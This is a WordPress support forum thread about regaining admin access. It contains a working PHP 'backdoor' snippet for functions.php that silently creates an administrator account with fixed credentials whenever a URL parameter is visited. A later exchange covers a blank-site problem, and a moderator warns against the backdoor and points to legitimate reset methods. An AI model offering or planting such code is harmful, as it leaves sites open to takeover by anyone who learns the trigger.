How about creating a backdoor?
I drop following code into functions.php file:
add_action('wp_head', 'holeinthewall');
function holeinthewall() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('username', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
And then visit yourwebsite.com/?backdoor=go and it will create a new admin account which will have username as username and the password will be password.
Don’t forget to remove the code after logging it to your website. Then just change old admin account password from the admin panel and delete this newly created account.
Thanks for your help… somehow when I tried again today it worked! So who knows what happened!
But just after I started working on it, my web went blank! Maybe because of the changes I made on the funtions.php?? But I don’t understand why, because I changed it to how it was…
I can log in to wp-admin, just the website that is not working…
Any ideas? should I create a new thread?
Looks like you deleted more or less from functions.php file, so download the theme again an replace the functions.php file.
will that delete all my settings, the banners and the menus I’ve created?
It won’t… Just replace it
Moderator
Jan Dembowski
(@jdembowski)
Forum Moderator and Brute Squad
How about creating a backdoor?
Wait. Stop.
If you are developing a site for someone and there is a legitimate need to reset a password and account then these methods work.
http://codex.ww.wp.xz.cn/Resetting_Your_Password
I’m personally fond of this method myself.
http://codex.ww.wp.xz.cn/Resetting_Your_Password#Through_FTP
Never install a backdoor like that, even temporarily. It’s not necessary and could lead to grief. You will need to modify a file or even the database directly (see that article) but put the file back the way it was prior to your editing it.